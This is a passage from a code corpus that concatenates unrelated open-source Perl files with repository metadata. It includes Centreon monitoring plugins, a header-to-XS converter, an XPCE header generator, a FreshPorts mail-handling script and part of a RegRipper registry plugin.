86400). =item B<--statefile-dir> Directory for statefile (Default: '/var/lib/centreon/centplugins'). =item B<--statefile-suffix> Add a suffix for the statefile name (Default: ''). =item B<--statefile-concat-cwd> Concat current working directory with option '--statefile-dir'. Useful on Windows when plugin is compiled. =item B<--statefile-storable> Use Perl Module 'Storable' (instead Data::Dumper) to store datas. =back =head1 DESCRIPTION B<statefile>. =cut
wilfriedcomte/centreon-plugins
centreon/plugins/statefile.pm
Perl
apache-2.0
10,631
# # Copyright 2021 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package apps::proxmox::ve::restapi::mode::storageusage; use base qw(centreon::plugins::templates::counter); use strict; use warnings; use Digest::MD5 qw(md5_hex); use centreon::plugins::templates::catalog_functions qw(catalog_status_threshold); sub custom_status_output { my ($self, %options) = @_; my $msg = 'state : ' . $self->{result_values}->{state}; return $msg; } sub custom_status_calc { my ($self, %options) = @_; $self->{result_values}->{state} = $options{new_datas}->{$self->{instance} . '_state'}; $self->{result_values}->{name} = $options{new_datas}->{$self->{instance} . '_name'}; return 0; } sub custom_storage_perfdata { my ($self, %options) = @_; $self->{output}->perfdata_add( label => 'storage_used', unit => 'B', instances => $self->use_instances(extra_instance => $options{extra_instance}) ? $self->{result_values}->{display} : undef, value => $self->{result_values}->{used}, warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning-' . $self->{thlabel}, total => $self->{result_values}->{total}, cast_int => 1), critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical-' . $self->{thlabel}, total => $self->{result_values}->{total}, cast_int => 1), min => 0, max => $self->{result_values}->{total} ); } sub custom_storage_threshold { my ($self, %options) = @_; my $exit = $self->{perfdata}->threshold_check(value => $self->{result_values}->{prct_used}, threshold => [ { label => 'critical-' . $self->{thlabel}, exit_litteral => 'critical' }, { label => 'warning-' . $self->{thlabel}, exit_litteral => 'warning' } ]); return $exit; } sub custom_storage_output { my ($self, %options) = @_; my ($total_size_value, $total_size_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{total}); my ($total_used_value, $total_used_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{used}); my ($total_free_value, $total_free_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{free}); my $msg = sprintf("Storage Total: %s Used: %s (%.2f%%) Free: %s (%.2f%%)", $total_size_value . " " . $total_size_unit, $total_used_value . " " . $total_used_unit, $self->{result_values}->{prct_used}, $total_free_value . " " . $total_free_unit, $self->{result_values}->{prct_free}); return $msg; } sub custom_storage_calc { my ($self, %options) = @_; $self->{result_values}->{display} = $options{new_datas}->{$self->{instance} . '_display'}; $self->{result_values}->{total} = $options{new_datas}->{$self->{instance} . '_storage_total'}; $self->{result_values}->{used} = $options{new_datas}->{$self->{instance} . '_storage_usage'}; $self->{result_values}->{free} = $self->{result_values}->{total} - $self->{result_values}->{used}; $self->{result_values}->{prct_free} = $self->{result_values}->{free} * 100 / $self->{result_values}->{total}; $self->{result_values}->{prct_used} = $self->{result_values}->{used} * 100 / $self->{result_values}->{total}; return 0; } sub set_counters { my ($self, %options) = @_; $self->{maps_counters_type} = [ { name => 'storages', type => 1, cb_prefix_output => 'prefix_storages_output', message_multiple => 'All storages are ok', skipped_code => { -11 => 1 } }, ]; $self->{maps_counters}->{storages} = [ { label => 'storage-status', threshold => 0, set => { key_values => [ { name => 'state' }, { name => 'name' } ], closure_custom_calc => $self->can('custom_status_calc'), closure_custom_output => $self->can('custom_status_output'), closure_custom_perfdata => sub { return 0; }, closure_custom_threshold_check => \&catalog_status_threshold, } }, { label => 'storage', set => { key_values => [ { name => 'storage_usage' }, { name => 'storage_total' }, { name => 'display' } ], closure_custom_calc => $self->can('custom_storage_calc'), closure_custom_output => $self->can('custom_storage_output'), closure_custom_perfdata => $self->can('custom_storage_perfdata'), closure_custom_threshold_check => $self->can('custom_storage_threshold'), } }, ]; } sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options, statefile => 1); bless $self, $class; $options{options}->add_options(arguments => { "storage-id:s" => { name => 'storage_id' }, "storage-name:s" => { name => 'storage_name' }, "filter-name:s" => { name => 'filter_name' }, "use-name" => { name => 'use_name' }, "warning-storage-status:s" => { name => 'warning_storage_status', default => '' }, "critical-storage-status:s" => { name => 'critical_storage_status', default => '' }, }); $self->{statefile_cache_storages} = centreon::plugins::statefile->new(%options); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::check_options(%options); $self->change_macros(macros => ['warning_storage_status', 'critical_storage_status']); $self->{statefile_cache_storages}->check_options(%options); } sub prefix_storages_output { my ($self, %options) = @_; return "Storage '" . $options{instance_value}->{display} . "' "; } sub manage_selection { my ($self, %options) = @_; $self->{storages} = {}; my $result = $options{custom}->api_get_storages( storage_id => $self->{option_results}->{storage_id}, storage_name => $self->{option_results}->{storage_name}, statefile => $self->{statefile_cache_storages} ); foreach my $storage_id (keys %{$result}) { next if (!defined($result->{$storage_id}->{Stats})); my $name = $result->{$storage_id}->{Name}; if (defined($self->{option_results}->{filter_name}) && $self->{option_results}->{filter_name} ne '' && $name !~ /$self->{option_results}->{filter_name}/) { $self->{output}->output_add(long_msg => "skipping '" . $name . "': no matching filter.", debug => 1); next; } $self->{storages}->{$storage_id} = { display => defined($self->{option_results}->{use_name}) ? $name : $storage_id, name => $name, state => $result->{$storage_id}->{State}, storage_usage => $result->{$storage_id}->{Stats}->{used}, storage_total => $result->{$storage_id}->{Stats}->{total}, }; } if (scalar(keys %{$self->{storages}}) <= 0) { $self->{output}->add_option_msg(short_msg => "No storage found."); $self->{output}->option_exit(); } my $hostnames = $options{custom}->get_hostnames(); $self->{cache_name} = "proxmox_" . $self->{mode} . '_' .$hostnames . '_' . $options{custom}->get_port() . '_' . (defined($self->{option_results}->{filter_counters}) ? md5_hex($self->{option_results}->{filter_counters}) : md5_hex('all')) . '_' . (defined($self->{option_results}->{filter_name}) ? md5_hex($self->{option_results}->{filter_name}) : md5_hex('all')) . '_' . (defined($self->{option_results}->{storage_id}) ? md5_hex($self->{option_results}->{storage_id}) : md5_hex('all')) . '_' . (defined($self->{option_results}->{storage_name}) ? md5_hex($self->{option_results}->{storage_name}) : md5_hex('all')); } 1; __END__ =head1 MODE Check storage usage. =over 8 =item B<--storage-id> Exact storage ID. =item B<--storage-name> Exact storage name (if multiple names: names separated by ':'). =item B<--use-name> Use storage name for perfdata and display. =item B<--filter-name> Filter by storage name (can be a regexp). =item B<--filter-counters> Only display some counters (regexp can be used). Example: --filter-counters='^storage-status$' =item B<--warning-*> Threshold warning. Can be: 'storage' (%). =item B<--critical-*> Threshold critical. Can be: 'storage' (%). =item B<--warning-storage-status> Set warning threshold for status (Default: -) Can used special variables like: %{name}, %{state}. =item B<--critical-storage-status> Set critical threshold for status (Default: -). Can used special variables like: %{name}, %{state}. =back =cut
Tpo76/centreon-plugins
apps/proxmox/ve/restapi/mode/storageusage.pm
Perl
apache-2.0
9,560
# # Copyright 2021 CloudBees, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # #***************************************************************************** use strict; use warnings; use ElectricCommander; use ElectricCommander::PropDB; use ElectricCommander::PropMod; use Data::Dumper; #***************************************************************************** use constant { SUCCESS => 0, ERROR => 1, }; #***************************************************************************** my $ec = ElectricCommander->new(); $ec->abortOnError(0); my $projName = '$[/myProject/projectName]'; my $pluginName = '@PLUGIN_NAME@'; my $pluginKey = '@PLUGIN_KEY@'; ElectricCommander::PropMod::loadPerlCodeFromProperty($ec, '/myProject/EC::Plugin::Core'); ElectricCommander::PropMod::loadPerlCodeFromProperty($ec, '/myProject/EC::WebLogic'); my $wl = EC::WebLogic->new( project_name => $projName, plugin_name => $pluginName, plugin_key => $pluginKey, ); my $retval = $wl->testConnection(); if ($retval == SUCCESS) { $wl->logger->info("Successfully connected to the WebLogic instance."); } exit $retval; #*****************************************************************************
electric-cloud/EC-WebLogic
src/main/resources/project/conf/testConnection.pl
Perl
apache-2.0
1,727
package VMOMI::HostVirtualSwitchAutoBridge; use parent 'VMOMI::HostVirtualSwitchBridge'; use strict; use warnings; our @class_ancestors = ( 'HostVirtualSwitchBridge', 'DynamicData', ); our @class_members = ( ['excludedNicDevice', undef, 1, 1], ); sub get_class_ancestors { return @class_ancestors; } sub get_class_members { my $class = shift; my @super_members = $class->SUPER::get_class_members(); return (@super_members, @class_members); } 1;
stumpr/p5-vmomi
lib/VMOMI/HostVirtualSwitchAutoBridge.pm
Perl
apache-2.0
481
#!perl # Copyright (c) 2016 Timm Murray # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. use strict; use warnings; my $HEADER = shift or die "Need header file to convert\n"; sub parse_header { my ($header) = @_; my @defs; open( my $in, '<', $header ) or die "Can't open $header: $!\n"; while( my $line = <$in> ) { chomp $line; push @defs, parse_header_line( $line ); } close $in; return @defs; } sub parse_header_line { my ($line) = @_; return () unless $line =~ /\A CP_EXPORT \s+ ([\w]+) \s* (\*)? \s* ([^\*\(\s]+) \s* \( \s* ([^\)]+) /x; my $return_val = $1; my $return_val_star = $2; my $func_name = $3; my $args = $4; $return_val .= ' *' if $return_val_star; my @tokenized_args = (); if( $args && $args ne 'void' ) { my @args = split /\s*,\s*/, $args; @tokenized_args = map {[ split /\s+/ ]} @args; } return { return_val => $return_val, func_name => $func_name, args => \@tokenized_args, }; } sub create_xs { my (@defs) = @_; my @funcs; foreach my $def (@defs) { my $return_val = $def->{return_val}; my $func_name = $def->{func_name}; my $args = $def->{args}; print_xs_def( $return_val, $func_name, $args ); push @funcs, $func_name; } # Print export list at the end of the xs print "# EXPORTS:\n"; foreach my $func_name (@funcs) { print "# $func_name\n"; } return; } sub print_xs_def { my ($return_val, $func_name, $args) = @_; my @arg_names = (); my @args = (); foreach my $arg_list (@$args) { my @arg_list = @$arg_list; my $name = $arg_list[-1]; $name =~ s/\A\*//; shift @arg_list if $arg_list[0] eq 'const'; push @arg_names, $name; push @args, \@arg_list; } print "$return_val\n"; print "$func_name( "; print join( ', ', @arg_names ); print " )\n"; print " " . join( ' ', @$_ ) . "\n" for @args; print "\n"; return; } { my @definitions = parse_header( $HEADER ); create_xs( @definitions ); }
frezik/Games-Chipmunk
tools/convert_header.pl
Perl
bsd-2-clause
3,483
# # Allow config files to calculate values dynamically by way of auto-evaluation # of CODE chunks encountered when obtaining data from the hash. # # Still naive. Can't handle recursive data structures. # package Grace::ActiveConfig::Hash; use strict; use warnings; require Tie::Hash; our @ISA = qw{Tie::StdHash}; sub TIEHASH { sub _tie_hash ($$); sub _tie_list ($$); sub _tie_list ($$) { my $type = shift; my $list = shift; my $data; my @done; foreach $data (@{$list}) { if (! ref($data) || ((ref($data) ne 'ARRAY') && (ref($data) ne 'HASH'))) { push(@done, $data); } elsif (ref($data) eq 'ARRAY') { push(@done, _tie_list($type, $data)); } else { my %hash; tie(%hash, $type, $data); push(@done, bless(\%hash, $type)); } } return \@done; } sub _tie_hash ($$) { my $type = shift; my $hash = shift; my $name; my $data; my %done; foreach $name (keys(%{$hash})) { $data = $hash->{$name}; if (! ref($data) || (ref($data) eq 'SCALAR')) { $done{$name} = $data; } elsif (ref($data) eq 'ARRAY') { $done{$name} = _tie_list($type, $data); } elsif (ref($data) eq 'HASH') { my %hash; tie(%hash, $type, $data); $done{$name} = bless(\%hash, $type); } } return bless(\%done, $type); } return _tie_hash($_[0], $_[1]); } sub FETCH { my $val = $_[0]->SUPER::FETCH($_[1]); ((ref($val) eq 'CODE') ? &{$val}($_[0]->{_bldr_}) : $val); } sub STORE { # Read only. } package Grace::ActiveConfig; sub activate ($) { my $data = shift; my %data; tie(%data, __PACKAGE__.'::Hash', $data); return \%data; } 1;
coreybrenner/grace
Grace/ActiveConfig.pm
Perl
bsd-2-clause
1,968
/* Part of XPCE --- The SWI-Prolog GUI toolkit Author: Jan Wielemaker and Anjo Anjewierden E-mail: jan@swi.psy.uva.nl WWW: http://www.swi.psy.uva.nl/projects/xpce/ Copyright (c) 1985-2002, University of Amsterdam All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ :- module(pce_cpp_header, [ generate_cpp_class_header_file/0 ]). :- use_module(library(pce)). :- require([ apply/2 , between/3 , atomic_list_concat/2 , forall/2 , ignore/1 , is_list/1 , memberchk/2 , nth1/3 , once/1 ]). itf_max_arg(9). cpp_header_dir(Dir) :- get(string('%s/include/pce', @pce?home), value, Dir). generate_cpp_class_header_file :- new(X, chain), send(@classes, for_all, if(@arg2?creator == built_in, message(X, append, @arg1))), send(X, delete, class), ignore(send(X, delete, call)), % just make sure send(X, delete, object), send(X, delete, variable), send(X, delete, chain), send(X, delete, pce), send(X, delete, string), send(X, sort), send(X, for_all, message(@prolog, cpp_class, @arg1)). cpp_class(ClassName) :- cpp_header_dir(Dir), cpp_class_name(ClassName, CppName), atomic_list_concat([Dir, /, CppName, '.h'], File), new(@output, file(File)), send(@output, open, write), xpce_file_header(CppName), generate_class_def(ClassName), generate_as(ClassName), xpce_file_footer(CppName), send(@output, close), free(@output). xpce_file_header(ClassName) :- output('/* $Id'), % break to fool CVS output('$\n\n'), output(' Part of XPCE\n'), output(' Designed and implemented by Anjo Anjewierden and Jan Wielemaker\n'), output(' E-mail: jan@swi.psy.uva.nl\n\n'), output(' Copyright (C) 1993-1997 University of Amsterdam. All rights reserved.\n*/\n\n'), output('#ifndef _PCE_%s_H\n', ClassName?upcase), output('#define _PCE_%s_H\n\n', ClassName?upcase). xpce_file_footer(ClassName) :- output('#endif /*!_PCE_%s_H*/\n', ClassName?upcase). generate_as(ClassName) :- get(@pce, convert, ClassName, class, Class), get(Class, name, Name), once(cpp_class_name(Name, CppName)), output('inline Pce%s\nAs%s(PceArg a)\n', [CppName, CppName]), output('{ return *((Pce%s*) &a);\n}\n\n', CppName). generate_class_def(ClassName) :- get(@pce, convert, ClassName, class, Class), get(Class, send_method, initialise, InitMethod), get(Class, name, Name), once(cpp_class_name(Name, CppName)), output('PceExternalClass(Class%s);\n', CppName), output('class Pce%s :public PceObject\n{\npublic:\n', CppName), get(InitMethod, types, Types), argument_range(Types, Low, High), forall(between(Low, High, Arity), constructor(InitMethod, CppName, Arity)), output('};\n\n'). constructor(InitMethod, CppName, N) :- arg_names(InitMethod, 1, N, [], ArgNames), output(' Pce%s(', CppName), forall(between(1, N, Arg), constructor_iarg(ArgNames, Arg)), output(') :\n PceObject(Class%s', CppName), forall(between(1, N, Arg), constructor_oarg(ArgNames, Arg)), output(')\n {\n }\n'). arg_names(_, I, N, _, []) :- I =:= N + 1, !. arg_names(InitMethod, I, N, D, [TheName|R]) :- get(InitMethod, argument_type, I, Type), get(Type, argument_name, Name), cpp_arg_name(Name, ArgName), unique_name(ArgName, D, TheName), NI is I + 1, arg_names(InitMethod, NI, N, [TheName|D], R). cpp_arg_name(@nil, a). % unnamed xpce argument cpp_arg_name(return, ret). % avoid C-keywords cpp_arg_name(class, cl). cpp_arg_name(int, i). cpp_arg_name(char, chr). cpp_arg_name(then, thn). cpp_arg_name(else, els). cpp_arg_name(default, def). cpp_arg_name(X, X). % ok-to-use name unique_name(Name, D, Name) :- \+ memberchk(Name, D), !. unique_name(Name, D, Unique) :- between(2, 100, N), atom_concat(Name, N, Unique), \+ memberchk(Unique, D). constructor_iarg(ArgNames, Arg) :- ( Arg \== 1 -> output(', ') ; true ), nth1(Arg, ArgNames, Name), output('PceArg %s', Name). constructor_oarg(ArgNames, Arg) :- nth1(Arg, ArgNames, Name), output(', %s', Name). argument_range(Types, Low, High) :- get(Types, size, Size), ( Size == 0 -> Low = 0, High = 0 ; get(Types, element, Size, Last), ( get(Last, vector, @on) -> VLow is Size - 1, itf_max_arg(High) ; VLow is Size, High = Size ), ( between(1, VLow, DLow), get(Types, element, DLow, Type), get(Type, check, @default, _) -> Low is DLow - 1 ; Low is VLow ) ). /******************************* * OUTPUT * *******************************/ output(Fmt) :- output(Fmt, []). output(Fmt, Atom) :- \+ is_list(Atom), !, output(Fmt, [Atom]). output(Fmt, Args) :- apply(send(@output, format, Fmt), Args). cpp_class_name(*, 'Times'). cpp_class_name(-, 'Minus'). cpp_class_name(+, 'Plus'). cpp_class_name(/, 'Divide'). cpp_class_name(:=, 'Binding'). cpp_class_name(<, 'Less'). cpp_class_name(=, 'Equation'). cpp_class_name(=<, 'LessEqual'). cpp_class_name(==, 'Equal'). cpp_class_name(>, 'Greater'). cpp_class_name(>=, 'GreaterEqual'). cpp_class_name(?, 'Obtain'). cpp_class_name(\==, 'NonEqual'). cpp_class_name(@=, 'NameObject'). cpp_class_name(Name, CppName) :- get(Name, capitalise, CppName).
TeamSPoon/logicmoo_workspace
docker/rootfs/usr/local/lib/swipl/xpce/prolog/lib/pce_cxx_headers.pl
Perl
mit
7,103
# # Copyright 2018 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package apps::monitoring::scom::restapi::mode::alerts; use base qw(centreon::plugins::templates::counter); use strict; use warnings; use centreon::plugins::statefile; use centreon::plugins::templates::catalog_functions qw(catalog_status_threshold catalog_status_calc); sub custom_status_output { my ($self, %options) = @_; my $msg = sprintf("alert [severity: %s] [host: %s] [name: %s] %s", $self->{result_values}->{severity}, $self->{result_values}->{host}, $self->{result_values}->{name}, $self->{result_values}->{timeraised}); return $msg; } sub set_counters { my ($self, %options) = @_; $self->{maps_counters_type} = [ { name => 'global', type => 0, cb_prefix_output => 'prefix_global_output' }, { name => 'alarms', type => 2, message_multiple => '0 problem(s) detected', display_counter_problem => { nlabel => 'alerts.problems.current.count', min => 0 }, group => [ { name => 'alarm', skipped_code => { -11 => 1 } } ] } ]; $self->{maps_counters}->{global} = []; foreach ('new', 'closed', 'resolved', 'scheduled', 'awaiting_evidence', 'assigned_to_engineering', 'acknowledge') { my $label = $_; $label =~ s/_/-/g; push @{$self->{maps_counters}->{global}}, { label => $label, nlabel => 'alerts.resolution.' . $_ . '.count', display_ok => 0, set => { key_values => [ { name => $_ } ], output_template => $_ . ': %s', perfdatas => [ { value => $_ , template => '%s', min => 0 }, ], } }; } $self->{maps_counters}->{alarm} = [ { label => 'status', threshold => 0, set => { key_values => [ { name => 'host' }, { name => 'name' }, { name => 'severity' }, { name => 'timeraised' } ], closure_custom_calc => \&catalog_status_calc, closure_custom_output => $self->can('custom_status_output'), closure_custom_perfdata => sub { return 0; }, closure_custom_threshold_check => \&catalog_status_threshold, } }, ]; } sub prefix_global_output { my ($self, %options) = @_; return 'Resolution state '; } sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options, force_new_perfdata => 1); bless $self, $class; $options{options}->add_options(arguments => { 'filter-host:s' => { name => 'filter_host' }, 'warning-status:s' => { name => 'warning_status', default => '%{severity} =~ /warning/i' }, 'critical-status:s' => { name => 'critical_status', default => '%{severity} =~ /critical/i' }, 'memory' => { name => 'memory' }, }); $self->{statefile_cache} = centreon::plugins::statefile->new(%options); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::check_options(%options); $self->change_macros(macros => ['warning_status', 'critical_status']); if (defined($self->{option_results}->{memory})) { $self->{statefile_cache}->check_options(%options); } } sub manage_selection { my ($self, %options) = @_; $self->{global} = { 'new' => 0, 'closed' => 0, 'resolved' => 0, 'scheduled' => 0, 'awaiting_evidence' => 0, 'assigned_to_engineering' => 0, 'acknowledge' => 0, }; $self->{alarms}->{global} = { alarm => {} }; my $results = $options{custom}->get_alerts(); my $alerts_mem; if (defined($self->{option_results}->{memory})) { $self->{statefile_cache}->read(statefile => "cache_scom_" . $options{custom}->get_hostname() . '_' . $options{custom}->get_port(). '_' . $self->{mode}); $alerts_mem = $self->{statefile_cache}->get(name => 'alerts'); } foreach my $alert_id (keys %$results) { if (defined($self->{option_results}->{memory})) { if (defined($alerts_mem) && defined($alerts_mem->{$alert_id})) { $alerts_mem->{$alert_id} = 1; next; } $alerts_mem->{$alert_id} = 1; } if (defined($self->{option_results}->{filter_host}) && $self->{option_results}->{filter_host} ne '' && $results->{$alert_id}->{monitoringobjectdisplayname} !~ /$self->{option_results}->{filter_host}/) { $self->{output}->output_add(long_msg => "skipping '" . $results->{$alert_id}->{monitoringobjectdisplayname} . "': no matching filter.", debug => 1); next; } $self->{global}->{$results->{$alert_id}->{resolutionstate}}++; $self->{alarms}->{global}->{alarm}->{$alert_id} = { %{$results->{$alert_id}} }; } if (defined($alerts_mem)) { foreach (keys %$alerts_mem) { if (!defined($results->{$_})) { delete $alerts_mem->{$_}; } } } if (defined($self->{option_results}->{memory})) { $self->{statefile_cache}->write(data => { alerts => $alerts_mem }); } } 1; __END__ =head1 MODE Check alerts. =over 8 =item B<--filter-host> Filter by host name (can be a regexp). =item B<--warning-status> Set warning threshold for status (Default: '%{severity} =~ /warning/i') Can used special variables like: %{severity}, %{host}, %{name}, %{timeraised} =item B<--critical-status> Set critical threshold for status (Default: '%{severity} =~ /critical/i'). Can used special variables like: %{severity}, %{host}, %{name}, %{timeraised} =item B<--warning-*> B<--critical-*> Thresholds. Can be: 'new', 'closed', 'resolved', 'scheduled', 'awaiting-evidence', 'assigned-to-engineering', 'acknowledge'. =item B<--memory> Only check new alarms. =back =cut
Tpo76/centreon-plugins
apps/monitoring/scom/restapi/mode/alerts.pm
Perl
apache-2.0
6,539
package Paws::MTurk::ListBonusPaymentsResponse; use Moose; has BonusPayments => (is => 'ro', isa => 'ArrayRef[Paws::MTurk::BonusPayment]'); has NextToken => (is => 'ro', isa => 'Str'); has NumResults => (is => 'ro', isa => 'Int'); has _request_id => (is => 'ro', isa => 'Str'); ### main pod documentation begin ### =head1 NAME Paws::MTurk::ListBonusPaymentsResponse =head1 ATTRIBUTES =head2 BonusPayments => ArrayRef[L<Paws::MTurk::BonusPayment>] A successful request to the ListBonusPayments operation returns a list of BonusPayment objects. =head2 NextToken => Str =head2 NumResults => Int The number of bonus payments on this page in the filtered results list, equivalent to the number of bonus payments being returned by this call. =head2 _request_id => Str =cut 1;
ioanrogers/aws-sdk-perl
auto-lib/Paws/MTurk/ListBonusPaymentsResponse.pm
Perl
apache-2.0
800
my $result = `ps -a | grep flookup`; if($result eq ''){ # print "Please start flookup using:flookup -S -A 127.0.0.1 hunadj.fst &\n"; exit; } else{ my @arr = split(/\s+/, $result); my $tobekilled = $arr[1]; if($arr[0] > 0){ $tobekilled = $arr[0];} # foreach(@arr){ # print "$_\n"; # } $result = `kill -9 $tobekilled`; }
r0ller/hunmorph-foma
tools/wdtest/kill_flookup.pl
Perl
bsd-3-clause
335
#!/usr/bin/perl -w use strict; use Test::Harness; use lib "./lib"; runtests glob("./t/*.t");
agentzh/old-openresty
obsolete/minisql/test.pl
Perl
bsd-3-clause
97
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is machine-generated by lib/unicore/mktables from the Unicode # database, Version 6.2.0. Any changes made here will be lost! # !!!!!!! INTERNAL PERL USE ONLY !!!!!!! # This file is for internal use by core Perl only. The format and even the # name or existence of this file are subject to change without notice. Don't # use it directly. return <<'END'; 2150 218F END
Bjay1435/capstone
rootfs/usr/share/perl/5.18.2/unicore/lib/Blk/NumberFo.pl
Perl
mit
433
#!/usr/bin/perl -w # log catcher # written by Olaf # takes the data from cvs-all and creates a file # copyright 2000 DVL Software $Outfile = "/usr/local/etc/freshports/msgs/" . time . ".$$.txt"; $Nextfile = "/usr/local/etc/freshports/msgs/" . time . ".$$.txt.munged"; while ( defined(my $l = <STDIN> ) ) { last if $l =~ /^$/; $Is_reply = 1 if ( $l =~ /^in-reply-to:/i ); $Is_commit = 1 if ( $l =~ m!^subject: cvs commit: ports/!i ); } if ( (not $Is_reply ) and $Is_commit ) { # Improvement?: Does sendmail listen to the return code of MDAs?? open SESAME, ">$Outfile" or die "Can't open $Outfile for writing, commit lost, stopped, error = $! "; # Copy the body. while ( defined(my $l = <STDIN> ) ) { print SESAME $l; } close SESAME; $Command = "/usr/bin/awk -f /usr/local/etc/freshports/log-munger.awk < $Outfile > $Nextfile"; # print $Command; `$Command`; $Command = "/bin/cat $Nextfile | /usr/bin/perl /usr/local/etc/freshports/updates/updates.pl > $Nextfile.out"; `$Command`; } else { while ( defined(<STDIN>) ) { ; } } exit 0;
lattera/freshports
www/tags/r2001-09-27/scripts/log-catcher.pl
Perl
bsd-2-clause
1,117
package TestModperl::stdfd2; use strict; use warnings FATAL => 'all'; use Apache2::RequestRec (); use Apache2::RequestIO (); use Apache2::SubRequest (); use Apache2::Const -compile => 'OK'; sub fixup { my $r = shift; $r->handler($r->main ? 'perl-script' : 'modperl'); return Apache2::Const::OK; } sub handler { my $r = shift; return Apache2::Const::OK if $r->main; local *STDIN; open STDIN, '<', $INC{'TestModperl/stdfd2.pm'} or die "Cannot open $INC{'TestModperl/stdfd2.pm'}"; scalar readline STDIN for(1..2); my $expected=$.; $r->lookup_uri($r->uri)->run; $r->print("1..1\n"); $r->print(($.==$expected ? '' : 'not '). "ok 1 - \$.=$. expected $expected\n"); return Apache2::Const::OK; } 1; __DATA__ PerlModule TestModperl::stdfd2 PerlFixupHandler TestModperl::stdfd2::fixup PerlResponseHandler TestModperl::stdfd2
gitpan/mod_perl
t/response/TestModperl/stdfd2.pm
Perl
apache-2.0
905
#----------------------------------------------------------- # fw_config # # References # http://technet2.microsoft.com/WindowsServer/en/library/47f25d7d- # 882b-4f87-b05f-31e5664fc15e1033.mspx?mfr=true # # # copyright 2008 H. Carvey, keydet89@yahoo.com #----------------------------------------------------------- package fw_config; use strict; my %config = (hive => "System", osmask => 20, hasShortDescr => 1, hasDescr => 0, hasRefs => 0, version => 20080328); sub getConfig{return %config} sub getShortDescr { return "Gets the Windows Firewall config from the System hive"; } sub getDescr{} sub getRefs {} sub getHive {return $config{hive};} sub getVersion {return $config{version};} my $VERSION = getVersion(); sub pluginmain { my $class = shift; my $hive = shift; ::logMsg("Launching fw_config v.".$VERSION); ::rptMsg("fw_config v.".$VERSION); # banner ::rptMsg("(".getHive().") ".getShortDescr()."\n"); # banner my $reg = Parse::Win32Registry->new($hive); my $root_key = $reg->get_root_key; # Code for System file, getting CurrentControlSet my $current; my $ccs; my $select_path = 'Select'; my 